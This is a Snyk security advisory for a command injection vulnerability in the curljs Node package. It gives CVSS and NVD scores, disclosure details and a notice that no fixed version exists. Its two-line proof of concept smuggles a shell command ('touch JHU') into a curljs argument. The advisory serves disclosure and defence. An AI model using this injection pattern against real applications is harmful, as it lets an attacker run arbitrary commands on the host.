Command Injection Affecting curljs package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.25% (66th percentile)

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  • Snyk ID SNYK-JS-CURLJS-1050404
  • published 20 Jan 2021
  • disclosed 11 Dec 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for curljs.

Overview

curljs is a package that wraps the functionality of curl into an easy to use node module

Affected versions of this package are vulnerable to Command Injection.

PoC

var a=require("curljs");
a("' & touch JHU # '")

CVSS Scores

version 3.1
Expand this section

Snyk

7.3 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

9.8 critical